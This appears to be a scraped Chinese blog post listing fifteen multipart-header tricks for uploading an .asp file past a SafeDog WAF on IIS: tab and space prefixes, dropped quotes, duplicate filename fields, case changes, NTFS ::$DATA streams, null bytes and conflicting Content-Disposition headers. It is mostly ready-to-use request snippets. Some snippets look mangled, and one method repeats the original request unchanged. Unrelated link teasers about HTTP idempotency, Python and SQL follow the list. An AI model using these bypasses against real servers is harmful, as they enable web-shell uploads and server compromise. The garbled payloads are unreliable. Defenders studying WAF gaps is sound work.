原文链接: https://www.cesafe.com/8411.html

原始请求包:

  1. ——WebKitFormBoundary2smpsxFB3D0KbA7D
  2. Content-Disposition: form-data; name=”filepath”; filename=”cesafe.asp
  3. Content-Type: text/html

方法1,文件名前缀加[0x09]绕过: 

  1. ——WebKitFormBoundary2smpsxFB3D0KbA7D
  2. Content-Disposition: form-data; name=”filepath”; filename=”[0x09]cesafe.asp
  3. Content-Type: text/html

方法2,文件名去掉双引号绕过:

  1. ——WebKitFormBoundary2smpsxFB3D0KbA7D
  2. Content-Disposition: form-data; name=”filepath”; filename=cesafe.asp
  3. Content-Type: text/html

方法3,添加一个filename1的文件名参数,并赋值绕过:

  1. ——WebKitFormBoundary2smpsxFB3D0KbA7D
  2. Content-Disposition: form-data; name=”filepath”; filename=”cesafe.asp”;filename1=”test.jpg
  3. Content-Type: text/html

方法4,form变量改成f+orm组合绕过:

  1. ——WebKitFormBoundary2smpsxFB3D0KbA7D
  2. Content-Disposition: f+orm-data; name=”filepath”;filename=”cesafe.asp
  3. Content-Type: text/html

方法5,文件名后缀大小写绕过:

  1. ——WebKitFormBoundary2smpsxFB3D0KbA7D
  2. ConTent-Disposition: form-data; name=”filepath”; filename=”cesafe.Asp
  3. Content-Type: text/html

方法6,去掉form-data变量绕过:

  1. ——WebKitFormBoundary2smpsxFB3D0KbA7D
  2. ConTent-Disposition: name=”filepath”; filename=”cesafe.asp
  3. Content-Type: text/html

方法7,在Content-Disposition:后添加多个空格 或者在form-data;后添加多个空格绕过:

  1. ——WebKitFormBoundary2smpsxFB3D0KbA7D
  2. ConTent-Disposition: form-data ; name=”filepath”; filename=“cesafe.asp
  3. Content-Type: text/html

方法8,cesafe.asp . (空格+.)绕过:

  1. ——WebKitFormBoundary2smpsxFB3D0KbA7D
  2. ConTent-Disposition: form-data; name=”filepath”; filename=”cesafe.asp .”
  3. Content-Type: text/html

方法9,“回车换行,绕过:

  1. ——WebKitFormBoundary2smpsxFB3D0KbA7D
  2. ConTent-Disposition: form-data; name=”filepath”; filename=”cesafe.asp
  3. Content-Type: text/html

方法10,NTFS流 在文件名后加::$DATA绕过:

  1. ——WebKitFormBoundary2smpsxFB3D0KbA7D
  2. ConTent-Disposition: form-data; name=”filepath”; filename=”cesafe.asp::$DATA Content-Type: text/html
  3. OR
  4. ——WebKitFormBoundary2smpsxFB3D0KbA7D
  5. ConTent-Disposition: form-data; name=”filepath”; filename=”cesafe.asp::$DATA\0x00\fuck.asp0x00.jpg
  6. Content-Type: text/html

方法11,经过对IIS 6.0的测试发现,其总是采用第一个Content-Disposition中的值做为接收参数,而安全狗总是以最后一个Content-Disposition中的值做为接收参数。因此尝试构造如下请求[上传cesafe.asp成功]:

  1. Content-Disposition: form-data; name=”FileUploadName”; filename=”cesafe.asp —————————–
  2. Content-Disposition: form-data; name=”FileUploadName”; filename=”cesafe.txt
  3. Content-Type: application/octet-stream
  4. Content-Disposition: form-data; name=”FileUploadName”; filename=”cesafe.asp
  5. Content-Disposition: form-data; name=”FileUploadName”; filename=”cesafe.asp

方法12,将Content-Type和ConTent-Disposition调换顺序位置绕过:

  1. ——WebKitFormBoundary2smpsxFB3D0KbA7D
  2. Content-Type: text/html
  3. ConTent-Disposition: form-data; name=”filepath”; filename=”cesafe.asp

方法13,在文件名前缀加空格(tab键可替换)绕过:

  1. ——WebKitFormBoundary2smpsxFB3D0KbA7D
  2. Content-Disposition: form-data; name=”filepath”; filename= cesafe.asp
  3. Content-Type: text/html

方法14,在form-data前加空格绕过:

  1. ——WebKitFormBoundary2smpsxFB3D0KbA7D
  2. Content-Disposition: form-data;name=”uploaded”; filename=”cesafe.asp
  3. Content-Type: text/html

方法15,在form-data的前或后加上+绕过:

  1. ——WebKitFormBoundary2smpsxFB3D0KbA7D
  2. Content-Disposition: +form-data; name=”filepath”; filename=”cesafe.asp
  3. Content-Type: text/html

参考:https://www.cesafe.com/8411.html

文件上传过waf的方法的更多相关文章

  1. 文件上传和WAF的攻与防

    Author:JoyChouDate:20180613 1. 前言 本文的测试环境均为 nginx/1.10.3 PHP 5.5.34 有些特性和 语言及webserver有关,有问题的地方,欢迎大家 ...

  2. PHP实现多文件上传的一些简单方法

    下面我们就通过具体的代码示例,为大家介绍PHP实现多文件上传的一些简单方法. 第一种方法:利用单个文件上传方法 一段简单的form表单代码如下: <!DOCTYPE html> <h ...

  3. 文件上传之WAF绕过及相安全防护

    文件上传在数据包中可修改的地方 Content-Disposition:一般可更改 name:表单参数值,不能更改 filename:文件名,可以更改 Content-Type:文件 MIME,视情况 ...

  4. 24:WEB漏洞-文件上传之WAF绕过及安全修复

    本课重点 案例1:上传数据包参数对应修改测试 案例2:safedog+云服务器+uploadlabs测试 案例3:safedog+云服务器+uploadlabs_fuzz测试 案例4:文件上传安全修复 ...

  5. IIS 之 通过 Web.config 修改文件上传大小限制设置方法

    在IIS 6.0中,不设置默认大小为4M,设置文件上传大小的方法,maxRequestLength(KB),executionTimeout(毫秒),配置如下节点: <system.web> ...

  6. springMVC文件上传的三种方法

    这时:commonsmultipartresolver 的源码,可以研究一下 http://www.verysource.com/code/2337329_1/commonsmultipartreso ...

  7. 详解jQuery uploadify文件上传插件的使用方法

    uploadify这个插件是基于js里面的jquery库写的.结合了ajax和flash,实现了这个多线程上传的功能. 现在最新版为3.2.1. 在线实例 实例中用到的php文件UploaderDem ...

  8. SpringBoot从入门到精通十一(SpringBoot文件上传的两种方法)

    前言 在企业级项目开发过程中,上传文件是最常用到的功能.SpringBoot集成了SpringMVC,当然上传文件的方式跟SpringMVC没有什么出入. 本章目标 使用SpringBoot项目完成单 ...

  9. IIS 6和IIS 7 中设置文件上传大小限制设置方法,两者是不一样的

    在IIS 6.0中设置文件上传大小的方法,只要设置httpRuntime就可以了 <system.web> <httpRuntime executionTimeout="3 ...

随机推荐

  1. 深入理解幂等性及Restful风格API的幂等性问题详解

    什么是幂等性 HTTP/1.1中对幂等性的定义是:一次和多次请求某一个资源对于资源本身应该具有同样的结果(网络超时等问题除外).也就是说,其任意多次执行对资源本身所产生的影响均与一次执行的影响相同. ...

  2. python——面向对象(4),单继承

    """class 类名(object<父类>)继承:子类继承父类.单继承:""" class A(object): " ...

  3. 为什么你SQL Server中SQL日期转换出错了呢?

    开发人员有时候使用类似下面SQL将字符串转换为日期时间类型,乍一看,这样的SQL的写法是没有什么问题的.但是这样的SQL其实有时候就是一个定时炸弹,随时可能出现问题(),下面简单对这种情况进行一个简单 ...

  4. 【python基础语法】第8天作业练习题

    """ # 第一题: # 要求:请将数据读取出来,转换为以下格式 {'data0': '数据aaa', 'data1': '数据bbb', 'data2': '数据ccc ...

  5. ARC 064 F-Rotated Palindromes

    题意 问有多少个长度为 \(N\) 且字符集大小为 \(K\) 的字符串可以通过回文串旋转 (把第一个字符移到最后)若干次得到.\(N,K\le 10^9\) 做法 设\(f_i\)为最小周期为\(i ...

  6. HTML单词

    html超文本标记语言 head 头部font 字体 字形i(italic) 倾斜,斜体字big 大的,字体加大hr 水平线Pre(predefined)预定义h5标题5Div(division)区隔 ...

  7. logback日志的基本使用

    logback的日志使用,有两种方式,可以在application.yml文件中配置,不过最常见的还是用一个单独的xml配置文件进行配置: 一.application.yml配置方式 logging: ...

  8. 函数的默认值与动态参数arguments的总结

    在js函数与作用域,了解函数基本概念中,我们发现当函数的实参有一个没有上传的时候,对应的形参time展示的值就是undefined,如下代码所示: <!DOCTYPE html> < ...

  9. CSS中before、after伪类选择器的巧用

    大家好,今天给大家带来使用css中 before . after 实现两个效果,话不多说,我们先来看看, before 和 after 它们的作用是什么 选择器 作用 before 向选定的元素前插入 ...

  10. CentOS配置禁止root用户直接登录

    Linux的默认管理员名即是root,只需要知道ROOT密码即可直接登录SSH.禁止Root从SSH直接登录可以提高服务器安全性.经过以下操作后即可实现.本文适用于CentOS.Debian等Linu ...